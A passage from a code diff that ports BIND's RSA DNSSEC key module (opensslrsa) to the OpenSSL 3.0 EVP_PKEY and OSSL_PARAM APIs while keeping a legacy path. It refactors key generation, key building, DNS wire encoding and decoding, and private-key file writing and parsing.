-		dctx->key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_RSASHA256 ||
-		dctx->key->key_alg == DST_ALG_RSASHA512);
-
-	rsa = EVP_PKEY_get1_RSA(pkey);
-	if (rsa == NULL) {
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	RSA_get0_key(rsa, NULL, &e, NULL);
-	bits = BN_num_bits(e);
-	RSA_free(rsa);
-	if (bits > maxbits && maxbits != 0) {
+	EVP_MD_CTX *evp_md_ctx = NULL;
+	EVP_PKEY *pkey = NULL;
+
+	REQUIRE(dctx != NULL && dctx->key != NULL);
+	REQUIRE(opensslrsa_valid_key_alg(dctx->key->key_alg));
+
+	key = dctx->key;
+	evp_md_ctx = dctx->ctxdata.evp_md_ctx;
+	pkey = key->keydata.pkeypair.pub;
+
+	if (maxbits != 0 && !opensslrsa_check_exponent_bits(pkey, maxbits)) {
 		return (DST_R_VERIFYFAILURE);
 	}
 
@@ -349,106 +351,286 @@ opensslrsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	return (opensslrsa_verify2(dctx, 0, sig));
 }
 
-static bool
-opensslrsa_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	int status;
-	RSA *rsa1 = NULL, *rsa2 = NULL;
-	const BIGNUM *n1 = NULL, *n2 = NULL;
-	const BIGNUM *e1 = NULL, *e2 = NULL;
-	const BIGNUM *d1 = NULL, *d2 = NULL;
-	const BIGNUM *p1 = NULL, *p2 = NULL;
-	const BIGNUM *q1 = NULL, *q2 = NULL;
-	EVP_PKEY *pkey1, *pkey2;
-
-	pkey1 = key1->keydata.pkey;
-	pkey2 = key2->keydata.pkey;
-	/*
-	 * The pkey reference will keep these around after
-	 * the RSA_free() call.
-	 */
-	if (pkey1 != NULL) {
-		rsa1 = EVP_PKEY_get1_RSA(pkey1);
-		RSA_free(rsa1);
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+static int
+progress_cb(int p, int n, BN_GENCB *cb) {
+	void (*fptr)(int);
+
+	UNUSED(n);
+
+	fptr = BN_GENCB_get_arg(cb);
+	if (fptr != NULL) {
+		fptr(p);
 	}
-	if (pkey2 != NULL) {
-		rsa2 = EVP_PKEY_get1_RSA(pkey2);
-		RSA_free(rsa2);
+	return (1);
+}
+
+static isc_result_t
+opensslrsa_generate_pkey(unsigned int key_size, BIGNUM *e,
+			 void (*callback)(int), EVP_PKEY **retkey) {
+	RSA *rsa = RSA_new();
+	EVP_PKEY *pkey = EVP_PKEY_new();
+	BN_GENCB *cb = NULL;
+	isc_result_t ret;
+
+	if (rsa == NULL || pkey == NULL) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
 	}
 
-	if (rsa1 == NULL && rsa2 == NULL) {
-		return (true);
-	} else if (rsa1 == NULL || rsa2 == NULL) {
-		return (false);
+	if (EVP_PKEY_set1_RSA(pkey, rsa) != 1) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	if (callback != NULL) {
+		cb = BN_GENCB_new();
+		if (cb == NULL) {
+			DST_RET(dst__openssl_toresult(ISC_R_NOMEMORY));
+		}
+		BN_GENCB_set(cb, progress_cb, (void *)callback);
 	}
 
-	RSA_get0_key(rsa1, &n1, &e1, &d1);
-	RSA_get0_key(rsa2, &n2, &e2, &d2);
-	status = BN_cmp(n1, n2) || BN_cmp(e1, e2);
+	if (RSA_generate_key_ex(rsa, key_size, e, cb) != 1) {
+		DST_RET(dst__openssl_toresult2("RSA_generate_key_ex",
+					       DST_R_OPENSSLFAILURE));
+	}
+	*retkey = pkey;
+	pkey = NULL;
+	ret = ISC_R_SUCCESS;
 
-	if (status != 0) {
-		return (false);
+err:
+	EVP_PKEY_free(pkey);
+	RSA_free(rsa);
+	BN_GENCB_free(cb);
+	return (ret);
+}
+
+static isc_result_t
+opensslrsa_build_pkey(bool private, rsa_components_t *c, EVP_PKEY **retpkey) {
+	isc_result_t ret;
+	EVP_PKEY *pkey = NULL;
+	RSA *rsa = RSA_new();
+	int status;
+
+	REQUIRE(c->bnfree);
+
+	if (c->n == NULL || c->e == NULL) {
+		if (private) {
+			DST_RET(DST_R_INVALIDPRIVATEKEY);
+		}
+		DST_RET(DST_R_INVALIDPUBLICKEY);
+	}
+
+	if (rsa == NULL) {
+		DST_RET(dst__openssl_toresult2("RSA_new",
+					       DST_R_OPENSSLFAILURE));
 	}
 
-	if (RSA_test_flags(rsa1, RSA_FLAG_EXT_PKEY) != 0 ||
-	    RSA_test_flags(rsa2, RSA_FLAG_EXT_PKEY) != 0)
+	if (RSA_set0_key(rsa, (BIGNUM *)c->n, (BIGNUM *)c->e, (BIGNUM *)c->d) !=
+	    1)
 	{
-		if (RSA_test_flags(rsa1, RSA_FLAG_EXT_PKEY) == 0 ||
-		    RSA_test_flags(rsa2, RSA_FLAG_EXT_PKEY) == 0)
+		DST_RET(dst__openssl_toresult2("RSA_set0_key",
+					       DST_R_OPENSSLFAILURE));
+	}
+	c->n = NULL;
+	c->e = NULL;
+	c->d = NULL;
+
+	if (c->p != NULL || c->q != NULL) {
+		if (RSA_set0_factors(rsa, (BIGNUM *)c->p, (BIGNUM *)c->q) != 1)
 		{
-			return (false);
+			DST_RET(dst__openssl_toresult2("RSA_set0_factors",
+						       DST_R_OPENSSLFAILURE));
 		}
-		/*
-		 * Can't compare private parameters, BTW does it make sense?
-		 */
-		return (true);
+		c->p = NULL;
+		c->q = NULL;
 	}
 
-	if (d1 != NULL || d2 != NULL) {
-		if (d1 == NULL || d2 == NULL) {
-			return (false);
+	if (c->dmp1 != NULL || c->dmq1 != NULL || c->iqmp != NULL) {
+		if (RSA_set0_crt_params(rsa, (BIGNUM *)c->dmp1,
+					(BIGNUM *)c->dmq1,
+					(BIGNUM *)c->iqmp) == 0)
+		{
+			DST_RET(dst__openssl_toresult2("RSA_set0_crt_params",
+						       DST_R_OPENSSLFAILURE));
 		}
-		RSA_get0_factors(rsa1, &p1, &q1);
-		RSA_get0_factors(rsa2, &p2, &q2);
-		status = BN_cmp(d1, d2) || BN_cmp(p1, p1) || BN_cmp(q1, q2);
+		c->dmp1 = NULL;
+		c->dmq1 = NULL;
+		c->iqmp = NULL;
+	}
 
-		if (status != 0) {
-			return (false);
-		}
+	pkey = EVP_PKEY_new();
+	if (pkey == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_new",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_set1_RSA(pkey, rsa);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_set1_RSA",
+					       DST_R_OPENSSLFAILURE));
 	}
-	return (true);
-}
 
-static int
-progress_cb(int p, int n, BN_GENCB *cb) {
-	union {
-		void *dptr;
-		void (*fptr)(int);
-	} u;
+	*retpkey = pkey;
+	pkey = NULL;
+	ret = ISC_R_SUCCESS;
 
-	UNUSED(n);
+err:
+	EVP_PKEY_free(pkey);
+	RSA_free(rsa);
+	opensslrsa_components_free(c);
+	return (ret);
+}
+#else
+static int
+progress_cb(EVP_PKEY_CTX *ctx) {
+	void (*fptr)(int);
 
-	u.dptr = BN_GENCB_get_arg(cb);
-	if (u.fptr != NULL) {
-		u.fptr(p);
+	fptr = EVP_PKEY_CTX_get_app_data(ctx);
+	if (fptr != NULL) {
+		int p = EVP_PKEY_CTX_get_keygen_info(ctx, 0);
+		fptr(p);
 	}
 	return (1);
 }
 
+static isc_result_t
+opensslrsa_generate_pkey(unsigned int key_size, BIGNUM *e,
+			 void (*callback)(int), EVP_PKEY **retkey) {
+	EVP_PKEY_CTX *ctx = EVP_PKEY_CTX_new_from_name(NULL, "RSA", NULL);
+	isc_result_t ret;
+
+	if (ctx == NULL) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	if (EVP_PKEY_keygen_init(ctx) != 1) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	if (EVP_PKEY_CTX_set_rsa_keygen_bits(ctx, (int)key_size) != 1) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	if (EVP_PKEY_CTX_set1_rsa_keygen_pubexp(ctx, e) != 1) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	if (callback != NULL) {
+		EVP_PKEY_CTX_set_app_data(ctx, (void *)callback);
+		EVP_PKEY_CTX_set_cb(ctx, progress_cb);
+	}
+
+	if (EVP_PKEY_keygen(ctx, retkey) != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen",
+					       DST_R_OPENSSLFAILURE));
+	}
+	ret = ISC_R_SUCCESS;
+err:
+	EVP_PKEY_CTX_free(ctx);
+	return (ret);
+}
+
+static isc_result_t
+opensslrsa_build_pkey(bool private, rsa_components_t *c, EVP_PKEY **retpkey) {
+	isc_result_t ret;
+	int status;
+	OSSL_PARAM_BLD *bld = NULL;
+	OSSL_PARAM *params = NULL;
+	EVP_PKEY_CTX *ctx = NULL;
+
+	bld = OSSL_PARAM_BLD_new();
+	if (bld == NULL) {
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_new",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_N, c->n) != 1 ||
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_E, c->e) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	if (c->d != NULL &&
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_D, c->d) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (c->p != NULL &&
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_FACTOR1, c->p) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (c->q != NULL &&
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_FACTOR2, c->q) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (c->dmp1 != NULL &&
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_EXPONENT1,
+				   c->dmp1) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (c->dmq1 != NULL &&
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_EXPONENT2,
+				   c->dmq1) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (c->iqmp != NULL &&
+	    OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_RSA_COEFFICIENT1,
+				   c->iqmp) != 1)
+	{
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	params = OSSL_PARAM_BLD_to_param(bld);
+	if (params == NULL) {
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_to_param",
+					       DST_R_OPENSSLFAILURE));
+	}
+	ctx = EVP_PKEY_CTX_new_from_name(NULL, "RSA", NULL);
+	if (ctx == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_CTX_new_from_name",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_fromdata_init(ctx);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_fromdata_init",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	status = EVP_PKEY_fromdata(
+		ctx, retpkey, private ? EVP_PKEY_KEYPAIR : EVP_PKEY_PUBLIC_KEY,
+		params);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_fromdata",
+					       DST_R_OPENSSLFAILURE));
+	}
+	ret = ISC_R_SUCCESS;
+
+err:
+	EVP_PKEY_CTX_free(ctx);
+	OSSL_PARAM_free(params);
+	OSSL_PARAM_BLD_free(bld);
+	return (ret);
+}
+#endif /* OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000 */
+
 static isc_result_t
 opensslrsa_generate(dst_key_t *key, int exp, void (*callback)(int)) {
-	isc_result_t ret = DST_R_OPENSSLFAILURE;
-	union {
-		void *dptr;
-		void (*fptr)(int);
-	} u;
-	RSA *rsa = RSA_new();
+	isc_result_t ret;
 	BIGNUM *e = BN_new();
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-	BN_GENCB _cb;
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
-	BN_GENCB *cb = BN_GENCB_new();
-	EVP_PKEY *pkey = EVP_PKEY_new();
+	EVP_PKEY *pkey = NULL;
+
+	if (e == NULL) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
 
 	/*
 	 * Reject incorrect RSA key lengths.
@@ -458,34 +640,23 @@ opensslrsa_generate(dst_key_t *key, int exp, void (*callback)(int)) {
 	case DST_ALG_NSEC3RSASHA1:
 		/* From RFC 3110 */
 		if (key->key_size > 4096) {
-			goto err;
+			DST_RET(DST_R_INVALIDPARAM);
 		}
 		break;
 	case DST_ALG_RSASHA256:
 		/* From RFC 5702 */
-		if ((key->key_size < 512) || (key->key_size > 4096)) {
-			goto err;
+		if (key->key_size < 512 || key->key_size > 4096) {
+			DST_RET(DST_R_INVALIDPARAM);
 		}
 		break;
 	case DST_ALG_RSASHA512:
 		/* From RFC 5702 */
-		if ((key->key_size < 1024) || (key->key_size > 4096)) {
-			goto err;
+		if (key->key_size < 1024 || key->key_size > 4096) {
+			DST_RET(DST_R_INVALIDPARAM);
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	if (rsa == NULL || e == NULL || cb == NULL) {
-		goto err;
-	}
-	if (pkey == NULL) {
-		goto err;
-	}
-	if (!EVP_PKEY_set1_RSA(pkey, rsa)) {
-		goto err;
+		UNREACHABLE();
 	}
 
 	if (exp == 0) {
@@ -498,64 +669,20 @@ opensslrsa_generate(dst_key_t *key, int exp, void (*callback)(int)) {
 		BN_set_bit(e, 32);
 	}
 
-	if (callback == NULL) {
-		BN_GENCB_set_old(cb, NULL, NULL);
-	} else {
-		u.fptr = callback;
-		BN_GENCB_set(cb, progress_cb, u.dptr);
+	ret = opensslrsa_generate_pkey(key->key_size, e, callback, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	if (RSA_generate_key_ex(rsa, key->key_size, e, cb)) {
-		BN_free(e);
-		BN_GENCB_free(cb);
-		cb = NULL;
-		key->keydata.pkey = pkey;
-
-		RSA_free(rsa);
-		return (ISC_R_SUCCESS);
-	}
-	ret = dst__openssl_toresult2("RSA_generate_key_ex",
-				     DST_R_OPENSSLFAILURE);
+	key->keydata.pkeypair.pub = pkey;
+	key->keydata.pkeypair.priv = pkey;
+	pkey = NULL;
+	ret = ISC_R_SUCCESS;
 
 err:
-	if (pkey != NULL) {
-		EVP_PKEY_free(pkey);
-		pkey = NULL;
-	}
-	if (e != NULL) {
-		BN_free(e);
-		e = NULL;
-	}
-	if (rsa != NULL) {
-		RSA_free(rsa);
-		rsa = NULL;
-	}
-	if (cb != NULL) {
-		BN_GENCB_free(cb);
-		cb = NULL;
-	}
-	return (dst__openssl_toresult(ret));
-}
-
-static bool
-opensslrsa_isprivate(const dst_key_t *key) {
-	const BIGNUM *d = NULL;
-	RSA *rsa = EVP_PKEY_get1_RSA(key->keydata.pkey);
-	INSIST(rsa != NULL);
-	RSA_free(rsa);
-	/* key->keydata.pkey still has a reference so rsa is still valid. */
-	if (rsa != NULL && RSA_test_flags(rsa, RSA_FLAG_EXT_PKEY) != 0) {
-		return (true);
-	}
-	RSA_get0_key(rsa, NULL, NULL, &d);
-	return (rsa != NULL && d != NULL);
-}
-
-static void
-opensslrsa_destroy(dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
 	EVP_PKEY_free(pkey);
-	key->keydata.pkey = NULL;
+	BN_free(e);
+	return (ret);
 }
 
 static isc_result_t
@@ -564,23 +691,19 @@ opensslrsa_todns(const dst_key_t *key, isc_buffer_t *data) {
 	unsigned int e_bytes;
 	unsigned int mod_bytes;
 	isc_result_t ret;
-	RSA *rsa;
-	EVP_PKEY *pkey;
-	const BIGNUM *e = NULL, *n = NULL;
-
-	REQUIRE(key->keydata.pkey != NULL);
+	rsa_components_t c = { 0 };
 
-	pkey = key->keydata.pkey;
-	rsa = EVP_PKEY_get1_RSA(pkey);
-	if (rsa == NULL) {
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
+	REQUIRE(key->keydata.pkeypair.pub != NULL);
 
 	isc_buffer_availableregion(data, &r);
 
-	RSA_get0_key(rsa, &n, &e, NULL);
-	mod_bytes = BN_num_bytes(n);
-	e_bytes = BN_num_bytes(e);
+	ret = opensslrsa_components_get(key, &c, false);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
+	}
+
+	mod_bytes = BN_num_bytes(c.n);
+	e_bytes = BN_num_bytes(c.e);
 
 	if (e_bytes < 256) { /*%< key exponent is <= 2040 bits */
 		if (r.length < 1) {
@@ -601,50 +724,44 @@ opensslrsa_todns(const dst_key_t *key, isc_buffer_t *data) {
 		DST_RET(ISC_R_NOSPACE);
 	}
 
-	RSA_get0_key(rsa, &n, &e, NULL);
-	BN_bn2bin(e, r.base);
+	BN_bn2bin(c.e, r.base);
 	isc_region_consume(&r, e_bytes);
-	BN_bn2bin(n, r.base);
+	BN_bn2bin(c.n, r.base);
+	isc_region_consume(&r, mod_bytes);
 
 	isc_buffer_add(data, e_bytes + mod_bytes);
 
 	ret = ISC_R_SUCCESS;
 err:
-	RSA_free(rsa);
+	opensslrsa_components_free(&c);
 	return (ret);
 }
 
 static isc_result_t
 opensslrsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
-	RSA *rsa;
+	isc_result_t ret;
 	isc_region_t r;
 	unsigned int e_bytes;
 	unsigned int length;
-	EVP_PKEY *pkey;
-	BIGNUM *e = NULL, *n = NULL;
+	rsa_components_t c = { .bnfree = true };
+
+	REQUIRE(opensslrsa_valid_key_alg(key->key_alg));
 
 	isc_buffer_remainingregion(data, &r);
 	if (r.length == 0) {
-		return (ISC_R_SUCCESS);
+		DST_RET(ISC_R_SUCCESS);
 	}
 	length = r.length;
-
-	rsa = RSA_new();
-	if (rsa == NULL) {
-		return (dst__openssl_toresult(ISC_R_NOMEMORY));
-	}
-
 	if (r.length < 1) {
-		RSA_free(rsa);
-		return (DST_R_INVALIDPUBLICKEY);
+		DST_RET(DST_R_INVALIDPUBLICKEY);
 	}
+
 	e_bytes = *r.base;
 	isc_region_consume(&r, 1);
 
 	if (e_bytes == 0) {
 		if (r.length < 2) {
-			RSA_free(rsa);
-			return (DST_R_INVALIDPUBLICKEY);
+			DST_RET(DST_R_INVALIDPUBLICKEY);
 		}
 		e_bytes = (*r.base) << 8;
 		isc_region_consume(&r, 1);
@@ -653,133 +770,111 @@ opensslrsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
 	}
 
 	if (r.length < e_bytes) {
-		RSA_free(rsa);
-		return (DST_R_INVALIDPUBLICKEY);
+		DST_RET(DST_R_INVALIDPUBLICKEY);
 	}
-	e = BN_bin2bn(r.base, e_bytes, NULL);
+	c.e = BN_bin2bn(r.base, e_bytes, NULL);
 	isc_region_consume(&r, e_bytes);
-	n = BN_bin2bn(r.base, r.length, NULL);
-	if (RSA_set0_key(rsa, n, e, NULL) == 0) {
-		if (n != NULL) {
-			BN_free(n);
-		}
-		if (e != NULL) {
-			BN_free(e);
-		}
-		RSA_free(rsa);
-		return (ISC_R_NOMEMORY);
+	c.n = BN_bin2bn(r.base, r.length, NULL);
+	if (c.e == NULL || c.n == NULL) {
+		DST_RET(ISC_R_NOMEMORY);
 	}
-	key->key_size = BN_num_bits(n);
-
 	isc_buffer_forward(data, length);
 
-	pkey = EVP_PKEY_new();
-	if (pkey == NULL) {
-		RSA_free(rsa);
-		return (ISC_R_NOMEMORY);
-	}
-	if (!EVP_PKEY_set1_RSA(pkey, rsa)) {
-		EVP_PKEY_free(pkey);
-		RSA_free(rsa);
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	key->keydata.pkey = pkey;
-	RSA_free(rsa);
+	key->key_size = BN_num_bits(c.n);
+	ret = opensslrsa_build_pkey(false, &c, &key->keydata.pkeypair.pub);
 
-	return (ISC_R_SUCCESS);
+err:
+	opensslrsa_components_free(&c);
+	return (ret);
 }
 
 static isc_result_t
 opensslrsa_tofile(const dst_key_t *key, const char *directory) {
-	int i;
-	RSA *rsa;
-	dst_private_t priv;
-	unsigned char *bufs[8];
-	isc_result_t result;
-	const BIGNUM *n = NULL, *e = NULL, *d = NULL;
-	const BIGNUM *p = NULL, *q = NULL;
-	const BIGNUM *dmp1 = NULL, *dmq1 = NULL, *iqmp = NULL;
+	isc_result_t ret;
+	dst_private_t priv = { 0 };
+	unsigned char *bufs[8] = { NULL };
+	unsigned short i = 0;
+	rsa_components_t c = { 0 };
 
 	if (key->external) {
-		priv.nelements = 0;
 		return (dst__privstruct_writefile(key, &priv, directory));
 	}
 
-	if (key->keydata.pkey == NULL) {
-		return (DST_R_NULLKEY);
-	}
-	rsa = EVP_PKEY_get1_RSA(key->keydata.pkey);
-	if (rsa == NULL) {
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	memset(bufs, 0, sizeof(bufs));
-
-	RSA_get0_key(rsa, &n, &e, &d);
-	RSA_get0_factors(rsa, &p, &q);
-	RSA_get0_crt_params(rsa, &dmp1, &dmq1, &iqmp);
-
-	for (i = 0; i < 8; i++) {
-		bufs[i] = isc_mem_get(key->mctx, BN_num_bytes(n));
+	ret = opensslrsa_components_get(key, &c, true);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	i = 0;
-
 	priv.elements[i].tag = TAG_RSA_MODULUS;
-	priv.elements[i].length = BN_num_bytes(n);
-	BN_bn2bin(n, bufs[i]);
+	priv.elements[i].length = BN_num_bytes(c.n);
+	bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+	BN_bn2bin(c.n, bufs[i]);
 	priv.elements[i].data = bufs[i];
 	i++;
 
 	priv.elements[i].tag = TAG_RSA_PUBLICEXPONENT;
-	priv.elements[i].length = BN_num_bytes(e);
-	BN_bn2bin(e, bufs[i]);
+	priv.elements[i].length = BN_num_bytes(c.e);
+	bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+	BN_bn2bin(c.e, bufs[i]);
 	priv.elements[i].data = bufs[i];
 	i++;
 
-	if (d != NULL) {
+	if (c.d != NULL) {
 		priv.elements[i].tag = TAG_RSA_PRIVATEEXPONENT;
-		priv.elements[i].length = BN_num_bytes(d);
-		BN_bn2bin(d, bufs[i]);
+		priv.elements[i].length = BN_num_bytes(c.d);
+		INSIST(i < ARRAY_SIZE(bufs));
+		bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+		BN_bn2bin(c.d, bufs[i]);
 		priv.elements[i].data = bufs[i];
 		i++;
 	}
 
-	if (p != NULL) {
+	if (c.p != NULL) {
 		priv.elements[i].tag = TAG_RSA_PRIME1;
-		priv.elements[i].length = BN_num_bytes(p);
-		BN_bn2bin(p, bufs[i]);
+		priv.elements[i].length = BN_num_bytes(c.p);
+		INSIST(i < ARRAY_SIZE(bufs));
+		bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+		BN_bn2bin(c.p, bufs[i]);
 		priv.elements[i].data = bufs[i];
 		i++;
 	}
 
-	if (q != NULL) {
+	if (c.q != NULL) {
 		priv.elements[i].tag = TAG_RSA_PRIME2;
-		priv.elements[i].length = BN_num_bytes(q);
-		BN_bn2bin(q, bufs[i]);
+		priv.elements[i].length = BN_num_bytes(c.q);
+		INSIST(i < ARRAY_SIZE(bufs));
+		bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+		BN_bn2bin(c.q, bufs[i]);
 		priv.elements[i].data = bufs[i];
 		i++;
 	}
 
-	if (dmp1 != NULL) {
+	if (c.dmp1 != NULL) {
 		priv.elements[i].tag = TAG_RSA_EXPONENT1;
-		priv.elements[i].length = BN_num_bytes(dmp1);
-		BN_bn2bin(dmp1, bufs[i]);
+		priv.elements[i].length = BN_num_bytes(c.dmp1);
+		INSIST(i < ARRAY_SIZE(bufs));
+		bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+		BN_bn2bin(c.dmp1, bufs[i]);
 		priv.elements[i].data = bufs[i];
 		i++;
 	}
 
-	if (dmq1 != NULL) {
+	if (c.dmq1 != NULL) {
 		priv.elements[i].tag = TAG_RSA_EXPONENT2;
-		priv.elements[i].length = BN_num_bytes(dmq1);
-		BN_bn2bin(dmq1, bufs[i]);
+		priv.elements[i].length = BN_num_bytes(c.dmq1);
+		INSIST(i < ARRAY_SIZE(bufs));
+		bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+		BN_bn2bin(c.dmq1, bufs[i]);
 		priv.elements[i].data = bufs[i];
 		i++;
 	}
 
-	if (iqmp != NULL) {
+	if (c.iqmp != NULL) {
 		priv.elements[i].tag = TAG_RSA_COEFFICIENT;
-		priv.elements[i].length = BN_num_bytes(iqmp);
-		BN_bn2bin(iqmp, bufs[i]);
+		priv.elements[i].length = BN_num_bytes(c.iqmp);
+		INSIST(i < ARRAY_SIZE(bufs));
+		bufs[i] = isc_mem_get(key->mctx, priv.elements[i].length);
+		BN_bn2bin(c.iqmp, bufs[i]);
 		priv.elements[i].data = bufs[i];
 		i++;
 	}
@@ -801,77 +896,38 @@ opensslrsa_tofile(const dst_key_t *key, const char *directory) {
 	}
 
 	priv.nelements = i;
-	result = dst__privstruct_writefile(key, &priv, directory);
+	ret = dst__privstruct_writefile(key, &priv, directory);
 
-	RSA_free(rsa);
-	for (i = 0; i < 8; i++) {
-		if (bufs[i] == NULL) {
-			break;
+err:
+	for (i = 0; i < ARRAY_SIZE(bufs); i++) {
+		if (bufs[i] != NULL) {
+			isc_mem_put(key->mctx, bufs[i],
+				    priv.elements[i].length);
 		}
-		isc_mem_put(key->mctx, bufs[i], BN_num_bytes(n));
 	}
-	return (result);
+	opensslrsa_components_free(&c);
+
+	return (ret);
 }
 
 static isc_result_t
-rsa_check(RSA *rsa, RSA *pub) {
-	const BIGNUM *n1 = NULL, *n2 = NULL;
-	const BIGNUM *e1 = NULL, *e2 = NULL;
-	BIGNUM *n = NULL, *e = NULL;
-
-	/*
-	 * Public parameters should be the same but if they are not set
-	 * copy them from the public key.
-	 */
-	RSA_get0_key(rsa, &n1, &e1, NULL);
-	if (pub != NULL) {
-		RSA_get0_key(pub, &n2, &e2, NULL);
-		if (n1 != NULL) {
-			if (BN_cmp(n1, n2) != 0) {
-				return (DST_R_INVALIDPRIVATEKEY);
-			}
-		} else {
-			n = BN_dup(n2);
-		}
-		if (e1 != NULL) {
-			if (BN_cmp(e1, e2) != 0) {
-				return (DST_R_INVALIDPRIVATEKEY);
-			}
-		} else {
-			e = BN_dup(e2);
-		}
-		if (RSA_set0_key(rsa, n, e, NULL) == 0) {
-			if (n != NULL) {
-				BN_free(n);
-			}
-			if (e != NULL) {
-				BN_free(e);
-			}
-		}
-	}
-	RSA_get0_key(rsa, &n1, &e1, NULL);
-	if (n1 == NULL || e1 == NULL) {
-		return (DST_R_INVALIDPRIVATEKEY);
-	}
-	return (ISC_R_SUCCESS);
-}
+opensslrsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
+		     const char *pin);
 
 static isc_result_t
 opensslrsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	dst_private_t priv;
 	isc_result_t ret;
 	int i;
-	RSA *rsa = NULL, *pubrsa = NULL;
-#if !defined(OPENSSL_NO_ENGINE)
-	ENGINE *ep = NULL;
-	const BIGNUM *ex = NULL;
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
-	isc_mem_t *mctx = key->mctx;
+	isc_mem_t *mctx = NULL;
 	const char *engine = NULL, *label = NULL;
 	EVP_PKEY *pkey = NULL;
-	BIGNUM *n = NULL, *e = NULL, *d = NULL;
-	BIGNUM *p = NULL, *q = NULL;
-	BIGNUM *dmp1 = NULL, *dmq1 = NULL, *iqmp = NULL;
+	rsa_components_t c = { .bnfree = true };
+
+	REQUIRE(key != NULL);
+	REQUIRE(opensslrsa_valid_key_alg(key->key_alg));
+
+	mctx = key->mctx;
 
 	/* read private key file */
 	ret = dst__privstruct_parse(key, DST_ALG_RSA, lexer, mctx, &priv);
@@ -880,22 +936,15 @@ opensslrsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	}
 
 	if (key->external) {
-		if (priv.nelements != 0) {
+		if (priv.nelements != 0 || pub == NULL) {
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-		if (pub == NULL) {
-			DST_RET(DST_R_INVALIDPRIVATEKEY);
-		}
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
